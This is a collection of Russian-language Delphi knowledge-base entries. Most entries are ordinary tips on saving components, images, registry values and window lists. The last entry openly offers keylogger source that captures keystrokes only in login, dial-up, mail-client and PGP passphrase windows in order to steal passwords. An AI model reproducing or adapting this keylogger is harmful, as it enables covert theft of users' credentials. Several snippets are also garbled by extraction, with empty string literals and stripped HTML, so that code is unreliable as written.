nyuuzyou/wikis huggingface dataset:
Сохранить TImagelist в файл со всем содержимым

=== Сохранить TImagelist в файл со всем содержимым ===
// There are ready-made methods for saving any component including all its children to a file.
// For writing components use WriteComponentResFile(path + source filename , component name source)
WriteComponentResFile('C:\imagelist1.bin', imagelist1);
// For reading the data back to a component:
// component := ReadComponentResFile(path + source filename , component name traget)
imagelist1 := ReadComponentResFile('c:\imagelist1.bin', nil) as TImagelist;
// Tip 1 - Reading the component will give the same name of the component written so don't try to
// load it to another component, even if it was the same type. You will get a duplicate name and
// delphi will crash. But you can jump over this as a programmer
// Tip 2 - Get benfit of storing the heavy components inside compressed files,
// so you can get smaller programs
Source: Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php
ID: 01256
Сохранить TListView как HTML страницу

=== Сохранить TListView как HTML страницу ===
function ListViewConfHTML(listview: TListview; output: string; center: Boolean): Boolean;
var
 i, f: Integer;
 tfile: TextFile;
begin
 try
 ForceDirectories(ExtractFilePath(output));
 AssignFile(tfile, output);
 ReWrite(tfile);
 WriteLn(tfile, '<html>');
 WriteLn(tfile, '<head>');
 WriteLn(tfile, '<title>HTML-Ansicht: ' + listview.Name + '</title>');
 WriteLn(tfile, '</head>');
 WriteLn(tfile, '');
 WriteLn(tfile, '');
 for i := 0 to listview.Columns.Count - 1 do
 begin
 if center then
 WriteLn(tfile, '' + listview.Columns[i].Caption + '')
 else
 WriteLn(tfile, '' + listview.Columns[i].Caption + '');
 end;
 WriteLn(tfile, '');
 WriteLn(tfile, '');
 for i := 0 to listview.Items.Count-1 do
 begin
 WriteLn(tfile, '' + listview.Items.Item[i].Caption + '');
 for f := 0 to listview.Columns.Count-2 do
 begin
 if listview.Items.Item[i].Subitems[f] = then
 Write(tfile, '-')
 else
 Write(tfile, '' + listview.Items.Item[i].Subitems[f] + '');
 end;
 Write(tfile, '');
 end;
 WriteLn(tfile, '');
 WriteLn(tfile, '</html>');
 CloseFile(tfile);
 Result := True;
 except
 Result := False;
 end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
 if ListViewConfHTML(form1.ListView1, 'C:\text.html', true) then
 ShowMessage('OK/ Hat geklappt')
 else
 ShowMessage('Error occured/ Hat nicht geklappt');
end;
Source: Взято с сайта: http://www.swissdelphicenter.ch
ID: 01149
Сохранить в базе картинку формата JPEG

=== Сохранить в базе картинку формата JPEG ===
uses JPEG;
begin
 if (Picture.Graphic is TJPegImage) then
 begin
 bs := TBlobStream.Create(TBlobField(Field), bmWrite);
 Picture.Graphic.SaveToStream(bs);
 bs.Free;
 end
 else if (Picture.Graphic is TBitmap) then
 begin
 Jpg := TJPegImage.Create;
 //Jpg.CompressionQuality := ...;
 //Jpg.PixelFormat := ...;
 Jpg.Assign(Picture.Graphic);
 Jpg.JPEGNeeded;
 bs := TBlobStream.Create(TBlobField(Field), bmWrite);
 Jpg.SaveToStream(bs);
 bs.Free;
 Jpg.Free;
 end
 else
 Field.Clear;
end;
Source: Взято с http://delphiworld.narod.ru
ID: 02480
Сохранить вложения OutLook

{
Won’t some backups of your outlook attachments are filtered
some incoming log files? Here's the function.
}
uses
 ComObj;
{...}
function ManageAttachments(SendersName, AttachmentPath: string; MailDelete: Boolean): Boolean;
var
 oApp: Variant;
 oNS: Variant;
 oFolder: Variant;
 oMsg: Variant;
 atc: Variant;
 attFilename: Variant;
 Filename: string;
 CheckSender: string;
 Counter: Integer;
 MailCounter: Integer;
begin
 try
 oApp := CreateOleObject('Outlook.Application');
 try
 oNS := oApp.GetNamespace('MAPI');
 oFolder := oNS.GetDefaultFolder(6); // FolderTypeEnum (olFolderInbox)
 MailCounter := 1;
 // if there is any email in the inbox
 if oFolder.Items.Count > 0 then
 begin
 repeat
 // get the first email
 oMsg := oFolder.Items(MailCounter);
 // check the name or email
 // use CheckSender := oMsg.Subject to search on subject;
 CheckSender := oMsg.SenderName;
 if CheckSender = SendersName then // remove this line to backup all your attachments.
 begin
 // check how many attachments
 atc := oMsg.Attachments.Count;
 if atc > 0 then
 begin
 // get all the attachments and save them
 for Counter := 1 to atc do
 begin
 attFilename := oMsg.Attachments.Item(Counter).Filename;
 //Filename := IncludeTrailingBackslash(AttachmentPath)+attFilename; {use this line for d5)}
 Filename := AttachmentPath + + attFilename;
 oMsg.Attachments.Item(Counter).SaveAsFile(Filename);
 end;
 end;
 if MailDelete then
 begin
 oMsg.Delete;
 // there's 1 email less, so MailCounter - 1
 Dec(MailCounter);
 end;
 end;
 // get the next email
 Inc(MailCounter);
 // do until there is no more email to check
 until MailCounter > oFolder.Items.Count;
 end;
 finally
 oApp.Quit;
 end;
 except
 Result := False;
 exit;
 end;
 Result := True;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
 // manageattachments(email or name, backup directory, MailDelete yes or no)
 ManageAttachments('info@cleys.com', 'f:test', False);
end;
{
Warning!
All your selected email will be deleted if MailDelete = True
Achtung!
Alle e-mails werden geloscht, wenn MailDelete = True ist.
}
Autor: patrick cleys
Source: http://www.dcmedical.org
Source: http://www.swissdelphicenter.ch/
ID: 04456
Category:COM
Category:MS Office
Сохранить значение TDateTime в реестре

=== Сохранить значение TDateTime в реестре ===
uses
 Registry;
// Write TDateTime to Registry
procedure Reg_WriteDateTime(dwRootKey: DWord; const sKey: string; const sField: string; aDate: TDateTime);
begin
 with TRegistry.Create do
 begin
 try
 RootKey := dwRootKey;
 if OpenKey(sKey, True) then
 begin
 try
 WriteBinaryData(sField, aDate, SizeOf(aDate));
 finally
 CloseKey;
 end;
 end;
 finally
 Free;
 end;
 end;
end;
// Read TDateTime from Registry
function Reg_ReadDateTime(dwRootKey: DWord; const sKey: string; const sField: string): TDateTime;
begin
 Result := 0; // default Return value
 with TRegistry.Create do
 begin
 RootKey := dwRootKey;
 if OpenKey(sKey, False) then
 begin
 try
 ReadBinaryData(sField, Result, SizeOf(Result));
 finally
 CloseKey;
 end;
 end;
 Free;
 end;
end;
// Example:
// Write DateTimePicker1's DateTime to Registry
procedure TForm1.Button1Click(Sender: TObject);
begin
 Reg_WriteDateTime(HKEY_CURRENT_USER, 'Software\TestXYZ\', 'DateTime', DateTimePicker1.DateTime);
end;
// Set DateTimePicker1's DateTime from Registry
procedure TForm1.Button2Click(Sender: TObject);
var
 ATime: TDateTime;
begin
 ATime := Reg_ReadDateTime(HKEY_CURRENT_USER, 'Software\TestXYZ\', 'DateTime');
 if ATime <> 0 then
 DateTimePicker1.DateTime := TDateTime(ATime);
end;
ID: 02292
Сохранить и загрузить TTreeView

=== Сохранить и загрузить TTreeView ===
{ 
 Treeview1.SaveToFile('...') doesn't store images. 
 Instead, use the code below. 
}
// Save 
procedure TForm1.Button1Click(Sender: TObject);
var
 F: TFileStream;
begin
 F := TFileStream.Create('c:\TreeView.txt', fmCreate or fmShareCompat);
 try
 F.WriteComponent(TreeView1);
 finally
 F.Free;
 end;
end;
// Load 
procedure TForm1.Button2Click(Sender: TObject);
var
 F: TFileStream;
begin
 F := TFileStream.Create('c:\TreeView.txt', fmOpenRead or fmShareDenyWrite);
 try
 F.ReadComponent(TreeView1);
 finally
 F.Free;
 end;
end;
Source: Взято с сайта: http://www.swissdelphicenter.ch
ID: 01125
Сохранить изображение в формате JPEG

В комплект поставки Delphi входит модуль JPEG. Он позволяет работать с изображениями в формате JPEG. Эта программа сохраняет изображение экрана в файле C:\Screen.jpg.
uses Jpeg;
procedure TForm1.Button1Click(Sender: TObject);
var
 JpegIm: TJpegImage;
 bm: TBitMap;
begin
 bm := TBitMap.Create;
 bm.Width := Screen.Width;
 bm.Height := Screen.Height;
 BitBlt(bm.Canvas.Handle, 0, 0,
 bm.Width, bm.Height,
 GetDC(0), 0, 0, SRCCOPY);
 JpegIm := TJpegImage.Create;
 JpegIm.Assign(bm);
 JpegIm.CompressionQuality := 20;
 JpegIm.Compress;
 JpegIm.SaveToFile('C:\Screen.jpg');
 bm.Destroy;
 JpegIm.Destroy;
end;
Author: Даниил Карапетян
Author: Алексей Денисов
ID: 03789
Category:Графика
Category:Bitmap
Category:Jpeg
Сохранить объект TFont в реестре

=== Сохранить объект TFont в реестре ===
uses Registry;
procedure SaveFontToRegistry(Font: TFont; SubKey: string);
var
 R: TRegistry;
 FontStyleInt: Byte;
 FS: TFontStyles;
begin
 R := TRegistry.Create;
 try
 FS := Font.Style;
 Move(FS, FontStyleInt, 1);
 R.OpenKey(SubKey, True);
 R.WriteString('Font Name', Font.name);
 R.WriteInteger('Color', Font.Color);
 R.WriteInteger('CharSet', Font.Charset);
 R.WriteInteger('Size', Font.Size);
 R.WriteInteger('Style', FontStyleInt);
 finally
 R.Free;
 end;
end;
function ReadFontFromRegistry(Font: TFont; SubKey: string): Boolean;
var
 R: TRegistry;
 FontStyleInt: Byte;
 FS: TFontStyles;
begin
 R := TRegistry.Create;
 try
 Result := R.OpenKey(SubKey, False);
 if not Result then
 exit;
 Font.name := R.ReadString('Font Name');
 Font.Color := R.ReadInteger('Color');
 Font.Charset := R.ReadInteger('CharSet');
 Font.Size := R.ReadInteger('Size');
 FontStyleInt := R.ReadInteger('Style');
 Move(FontStyleInt, FS, 1);
 Font.Style := FS;
 finally
 R.Free;
 end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
 if FontDialog1.Execute then
 SaveFontToRegistry(FontDialog1.Font, 'Delphi Kingdom\Fonts');
end;
procedure TForm1.Button2Click(Sender: TObject);
var
 NFont: TFont;
begin
 NFont := TFont.Create;
 if ReadFontFromRegistry(NFont, 'Delphi Kingdom\Fonts') then
 begin
 // здесь добавить проверку - существует ли шрифт
 Label1.Font.Assign(NFont);
 NFont.Free;
 end;
end;
ID: 02294
Примечание от Vit: вообще-то надо было бы читать свойства TFont через RTTI, а не перечислением... ибо в этом случае во-первых если в будущих версиях дельфи класс TFont будет изменён или дополнен, то код всё равно будет работать правильно, а во-вторых такой код сохранял бы значения полей любых классов, а не только TFont...
Source: http://delphiworld.narod.ru/
ID: 02294
Сохранить строку в памяти?+пример работы с атомами

=== Сохранить строку в памяти?+пример работы с атомами ===
Например через атомы:
К счастью количество атомов ограничено 0xFFFF, так что простые функции перебора работают достаточно быстро. Вот пример как сохранять и читать значение через атомы:
const UniqueSignature = 'GI7324hjbHGHJKdhgn90jshUH*hjsjshjdj';
procedure CleanAtoms;
var
 p: PChar;
 i: Word;
begin
 GetMem(p, 256);
 for i := 0 to $FFFF do
 begin
 GlobalGetAtomName(i, p, 255);
 if StrPos(p, PChar(UniqueSignature)) <> nil then GlobalDeleteAtom(i);
 end;
 FreeMem(p);
end;
procedure WriteAtom(AStr: string);
begin
 CleanAtoms;
 GlobalAddAtom(PChar(UniqueSignature + AStr));
end;
function ReadAtom(): string;
var
 p: PChar;
 i: Word;
begin
 GetMem(p, 256);
 for i := 0 to $FFFF do
 begin
 GlobalGetAtomName(i, p, 255);
 if StrPos(p, PChar(UniqueSignature)) <> nil then break;
 end;
 Result := StrPas(p + Length(UniqueSignature));
 FreeMem(p);
end;
procedure TReadFromAtom.Button1Click(Sender: TObject);
begin
 WriteAtom(Edit1.Text);
end;
procedure TReadFromAtom.Button2Click(Sender: TObject);
begin
 Showmessage(ReadAtom);
end;
Примечание: константа "UniqueSignature" должна быть достаточно длинной, чтобы однозначно идентифицировать атом, в тоже время длина хранимой строки вместе с UniqueSignature не должна превышать 255 символов. Данная конструкция может хранить только 1 значение. Для хранения нескольких значений надо назначить несколько разных UniqueSignature и использовать сходные процедуры.
Author: Vit (www.delphist.com, www.drkb.ru, www.unihighlighter.com, www.nevzorov.org)
Source: Взято с Vingrad.ru http://forum.vingrad.ru
ID: 02073
Список handle всех окон моего приложения

=== Список handle всех окон моего приложения ===
function EnumProc(wnd: HWND; var count: DWORD): Bool; stdcall;
begin
 Inc(count);
 result := True;
 EnumChildWindows(wnd, @EnumProc, integer(@count));
end;
procedure TForm1.Button1Click(Sender: TObject);
var
 count: DWORD;
begin
 count := 0;
 EnumThreadWindows(GetCurrentThreadID, @EnumProc, Integer(@count));
 Caption := Format('%d window handles in use', [count]);
end;
Source: http://www.swissdelphicenter.ch/en/tipsindex.php
ID: 00123
Список кнопок в таскбаре..., Как получить?

=== Список кнопок в таскбаре..., Как получить? ===
uses CommCtrl;
function GetModuleFileNameExW(hProcess: THandle; hModule: HMODULE; lpFilename: PWideChar; nSize: DWORD): DWORD; stdcall; external 'PSAPI.DLL';
const
 ICON_SMALL2 = 2;
function WindowGetEXE(wnd: HWND): string;
var
 wt: array[0..MAX_PATH-1] of WChar;
 r: Integer;
 prc: THandle;
 prcID: Cardinal;
begin
 Result := ;
 if GetWindowThreadProcessID(wnd, prcID) <> 0 then
 begin
 prc := OpenProcess(PROCESS_ALL_ACCESS, False, prcID);
 if prc <> 0 then
 try
 r := GetModuleFileNameExW(prc, 0, wt, MAX_PATH*2);
 if r <> 0 then Result := wt;
 finally
 CloseHandle(prc)
 end
 end
end;
function WindowGetIcon(wnd: HWND; fSmall: Boolean): Cardinal;
var
 defIcon: HICON;
 r, iType1, iType2: Integer;
begin
 defIcon := LoadIcon(0, IDI_APPLICATION);
 if fSmall then
 begin
 iType1 := ICON_SMALL2;
 iType2 := GCL_HICONSM;
 end
 else
 begin
 iType1 := ICON_BIG;
 iType2 := GCL_HICON;
 end;
 r := SendMessageTimeOut(wnd, WM_GETICON, iType1, 0, SMTO_ABORTIFHUNG or SMTO_NOTIMEOUTIFNOTHUNG, 100, Result);
 if (r = 0) then
 Result := defIcon
 else
 begin
 if (Result = 0) then
 Result := GetClassLong(wnd, iType2);
 if (Result = 0) then
 Result := defIcon;
 end;
end;
function EnumWindowsProc(wnd: HWND; lParam: LPARAM): BOOL; stdcall;
var
 wn: array[0..MAX_PATH-1] of Char;
begin
 Result := True;
 if IsWindowVisible(wnd)
 and (GetParent(wnd) = 0)
 and (GetWindow(wnd,GW_OWNER) = 0)
 and ((GetWindowLong(wnd, GWL_EXSTYLE) and WS_EX_TOOLWINDOW) = 0)
 then
 begin
 GetWindowText(wnd, wn, MAX_PATH);
 with Form1.ListView1.Items.Add do
 begin
 Caption := wn; // заголовок
 SubItems.Add(IntToStr(wnd)); // дескриптор
 SubItems.Add(WindowGetEXE(wnd)); // exe
 SubItems.Add(' '); // колонка для большой иконки
 ImageIndex := ImageList_AddIcon(Form1.ImageList1.Handle,WindowGetIcon(wnd, True)); // маленькая иконка
 SubItemImages[2] := ImageList_AddIcon(Form1.ImageList2.Handle,WindowGetIcon(wnd, False)); // большая иконка
 end;
 end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
 ListView1.Clear;
 ImageList1.Clear;
 ImageList2.Clear;
 EnumWindows(@EnumWindowsProc, 0);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
 // ImageList1 - 16x16; ImageList2 - 32x32;
 ListView1.SmallImages := ImageList1;
 ListView1.LargeImages := ImageList2;
end;
Author: Krid
Source: Взято из http://forum.sources.ru
ID: 01778
Список окон + определение приложения, создавшего эти окна

=== Список окон + определение приложения, создавшего эти окна ===
////////////////////////////////////////////////////////////////////////////////
//
// Автор: Александр (Rouse_) Багель
// © Fangorn Wizards Lab 1998 - 2002
// 16 октября 2002 18:21
// Данный код приведен лишь для демонстрации
// А простой вариант поиска Handle Ричедита выглядит так
// var
// Handle : HWND;
// begin
// Handle:= FindWindowEx(FindWindow(Название формы например 'Form1',nil), 0, Название элемента например 'Button1', nil), 0, true);
unit Unit1;
interface
uses
 Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
 ComCtrls;
type
 TMainForm = class(TForm)
 TreeView1: TTreeView;
 procedure FormCreate(Sender: TObject);
 procedure Sys_Windows_Tree(Node: TTreeNode; Handle: HWND);
 end;
var
 MainForm: TMainForm;
implementation
{$R *.DFM}
////////////////////////////////////////////////////////////////////////////////
//
// Стартовая функция, запускаем рекурсию используя хэндл рабочего стола
//
procedure TMainForm.FormCreate(Sender: TObject);
var
 StartHandle : THandle;
begin
 // Если требуется найти только данные по одному приложению
 // замени 2 строки в функциях их закоментированными аналогами
 StartHandle := GetDeskTopWindow;
 //StartHandle := 67324;//FindWindow(PChar(Caption), nil); // На примере Винампа
 Sys_Windows_Tree(nil, StartHandle);
end;
////////////////////////////////////////////////////////////////////////////////
//
// Рекурсивная функция, строит дерево всех открытых окон, кнопок, едитов и т.д.
// В качестве входных данных получает узел дерева и Хэндл окна
//
procedure TMainForm.Sys_Windows_Tree(Node: TTreeNode; Handle: HWND);
const
 MAX = 128;
var
 TmpArray: array[0..MAX - 1] of Char;
 Result: String;
 szFileName: array[0..255] of Char;
 iSize: Integer;
 PID: Cardinal;
begin
 // Запускаем цикл пока не закончатся окна
 while Handle <> 0 do
 begin
 // Получаем имя класса окна
 GetClassName(Handle, @TmpArray, MAX);
 Result := String(TmpArray);
 // Получаем текст (Его Caption) окна
 GetWindowText(Handle, @TmpArray, MAX);
 // Получаем имя модуля
 if GetwindowModuleFilename(Handle, szFileName, SizeOf(szFileName)) = 0 then
 ZeroMemory(@szFileName[0], 256);
 GetWindowThreadProcessId(Handle, PID);
 Result := Result + ' [' + String(szFileName) + '] (' + String(TmpArray) +
 '): Handle = '+ IntToStr(Handle) + ', PID = ' + IntToStr(PID);
 // В следующей процедуре, в скобках, добавляем результат
 // в дерево, получаем хэндл дочернего окна и с результатами
 // выполнения этих двух функций выполняем процедуру Sys_Windows_Tree
 Sys_Windows_Tree(TreeView1.Items.AddChild(Node, Result),
 GetWindow(Handle, GW_CHILD));
 // Получаем хэндл следующего (не дочернего) окна
 Handle := GetNextWindow(Handle, GW_HWNDNEXT);
 //Handle := 0;
 end;
end;
end.
Author: Rouse_
Source: Взято из http://forum.sources.ru
ID: 02129
Список префиксов Internal Error

=== Список префиксов Internal Error ===
Иногда выскакивают ошибки типа "Internal Error SY424", вот расшифровка префиксов:
 B : debugger
 BC : debugger
 BR : browser
 C : codegen
 CM : command line version of the compiler
 D : parser
 DB : debugger
 DBG: debug info output
 DM : IDE version of the compiler
 E : parser
 EO : debugger/evaluator
 FN : filename / pathname parsing
 GH : HPP generator
 I : code generator
 IN : inspectors
 L : linker
 LI : BPI file writing
 LO : object file loading
 M : memory allocation
 MA : name mangling
 MB : multi-byte (MBCS) support
 O : object (OMF) file handling
 P : package managment
 R : resource writing
 S : scanner
 ST : standard procedure handling
 SY : symbol table
 T : code generator
 TI : RTTI generator
 U : parser
 UD : IDE version of the compiler
 UI : error handling
 URW: DCU reading/writing
 W : Object file (OMF) writing
 X : code generator
Source: http://www.delphifaq.com
ID: 00019
Category:Справочники
Список режимов открытия файлов

=== Список режимов открытия файлов ===
 fmOpenRead Открыть только для чтения.
 fmOpenWrite Открыть только для записи.
 fmOpenReadWrite Открыть для чтения и записи.
 fmShareCompat Обеспечить совместимость со старой моделью доступа к файлам.
 fmShareExclusive Запретить другим доступ к файлу.
 fmShareDenyWrite Запретить другим запись в файл.
 fmShareDenyRead Запретить другим чтение файла.
 fmShareDenyNone Разрешить другим все виды доступа.
ID: 03124
Category:Файловая система
Список ресурсов - источников материалов DRKB

=== Список ресурсов - источников материалов DRKB ===
Кроме вышеперечисленных, в были использованы так же материалы следующих сайтов:
* http://blackman.wp-club.net/
* http://delphi4all.narod.ru
* http://www.lmc-mediaagentur.de/dpool/
* http://forum.pascal.dax.ru/
* http://www.swissdelphicenter.ch/en/tipsindex.php
* http://delphi.h5.ru
* www.delphiworld.narod.ru
* http://kladovka.net.ru
* http://rouse.drkb.ru
А также рассылки "Мастера DELPHI. Новости мира компонент,..." http://subscribe.ru
И программы "Delphi Knowledge Base" http://www.baltsoft.com/
Список установленных раскладок клавиатуры

=== Список установленных раскладок клавиатуры ===
procedure GetKLList(List: TStrings);
var
 AList: array [0..9] of Hkl;
 AklName: array [0..255] of Char;
 i: Longint;
begin
 List.Clear;
 for i := 0 to GetKeyboardLayoutList(SizeOf(AList), AList) - 1 do
 begin
 GetLocaleInfo(LoWord(AList[i]), LOCALE_SLANGUAGE, AklName, SizeOf(AklName));
 List.AddObject(AklName, Pointer(AList[i]));
 end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
 GetKLList(ListBox1.Items);
end;
procedure TForm1.ListBox1Click(Sender: TObject);
begin
 with Sender as TListBox do
 ActivateKeyboardLayout(Hkl(Items.Objects[ItemIndex]), 0);
end;
Source: Взято с сайта: http://www.swissdelphicenter.ch
ID: 01974
Список установленных сетевых интерфейсов.

Пример получения информации о установленных сетевых интерфейсах.
Рассмотрена работа с функцией GetAdaptersInfo
* Скачать демонстрационный пример
Author: Александр (Rouse_) Багель
Source: http://rouse.drkb.ru
ID: 03329
Category:Связь
Список шрифтов, совместимых одновременно с экраном и с принтером

=== Список шрифтов, совместимых одновременно с экраном и с принтером ===
Эти установки должны показать шрифты совместимые либо с принтером либо с экраном. В примере диалог Windows ChooseFont вызывается напрямую чтобы показать список шрифтов, совместимых одновременно и с экраном и с принтером. 
Пример: 
uses Printers, CommDlg;
procedure TForm1.Button1Click(Sender: TObject);
var
 cf: TChooseFont;
 lf: TLogFont;
 tf: TFont;
begin
 if PrintDialog1.Execute then
 begin
 cf.hdc := Printer.Handle;
 cf.lpLogFont := @lf;
 cf.iPointSize := Form1.Canvas.Font.Size * 10;
 cf.Flags := CF_BOTH or CF_INITTOLOGFONTSTRUCT or
 CF_EFFECTS or CF_SCALABLEONLY or CF_WYSIWYG;
 cf.rgbColors := Form1.Canvas.Font.Color;
 tf.COlor := cf.RgbColors;
 Form1.Canvas.Font.Assign(tf);
 tf.Free;
 Form1.Canvas.TextOut(10, 10, 'Test');
 end;
end;
Source: Взято с http://delphiworld.narod.ru
ID: 01933
Способ высосать пароли из едитов определенных программ

Вот хороший способ высосать пароли из едитов определенных программ - Достоинством метода является отсутствие необходимости читать длинющие keylog - записи, тк кейлоггинг ведется только в интересующих нас окнах (Terminal, DUN, etc...).
unit ksf;
interface
uses
 windows, Controls, Forms, StdCtrls, Classes, ExtCtrls;
type
 Tf1 = class(TForm)
 t1: TTimer;
 m1: TMemo;
 procedure t1t(Sender: TObject);
 end;
var
 f1: Tf1;
 okey: Byte;
 KAr: array[1..88] of PChar = ('-Esc-','1','2','3','4','5','6','7','8','9',
 '0','-','=','bsp','-Tab-','q','w','e','r','t','y','u','i','o','p',
 '[',']','#13','-Ctrl-','a','s','d','f','g','h','j','k','l',';',','`',
 '-Shift-','\','z','x','c','v','b','n','m',',','.','/','-Shift-','*',
 'Alt',' ','CL','F1','F2','F3','F4','F5','F6','F7','F8','F9','F10','NL',
 'SL','-Home-','-Up-','-PgUp-','-','-Left-','-*5*-','-Right-','+',
 '-End-','-Down-','-PDn-','-Ins-','-Del-',,,'-Unk-','F11','F12');
implementation
{$R *.DFM}
procedure Tf1.t1t(Sender: TObject);
var
 key: Byte;
 cap0: PChar;
 cap1: string;
begin
 GetMem(cap0, 255);
 GetWindowText(GetforegroundWindow, cap0, 255); // title активного окна
 cap1 := cap0;
 FreeMem(cap0);
 if (Pos('Connect To', cap1) <> 0) // DialUP
 or (Pos('Установка связи', cap1) <> 0) // DialUP
 or (Pos('Вход в систему', cap1) <> 0) // DialUP
 or (Pos('EType Dialer', cap1) <> 0) // DialUP
 or (Pos('p Networking', cap1) <> 0) // DialUP
 or (Pos('p Connection', cap1) <> 0) // DialUP
 or (Pos('Connecting to', cap1) <> 0) // DialUP
 or (Pos('Connessione a', cap1) <> 0) // DialUP
 or (Pos('Edit User - ', cap1) <> 0) // The Bat!
 or (Pos('Мастер подключения к Интернету', cap1) <> 0) // MSIE, MSOutlook, etc
 or (Pos('сетевого пароля', cap1) <> 0) // MSIE
 or (Pos('Свойства: ', cap1) <> 0) // MSOutlook
 or (Pos('Вход - ', cap1) <> 0) // MSOutlook
 or (Pos(' - Receiving mail', cap1) <> 0) // The Bat!
 or (Pos('Окно терминала', cap1) <> 0) // Terminal
 or (Pos('Passphrase', cap1) <> 0) // PGP Disk
 then
 begin
 asm
 in al,60h // Читаем из 60h порта нажатую кнопку в al
 mov key,al // Перемещаем код ключа из al в Key
 end;
 if okey <> key then
 begin
 okey := key;
 if key <= 88 then // Ловим Key_Down код
 m1.Text := m1.Text + kAr[Key]; // И берем по этому коду из массива строку
 end;
 end;
end;
Source: http://delphiworld.narod.ru/
ID: 04043
Category:Edit
Category:Безопасность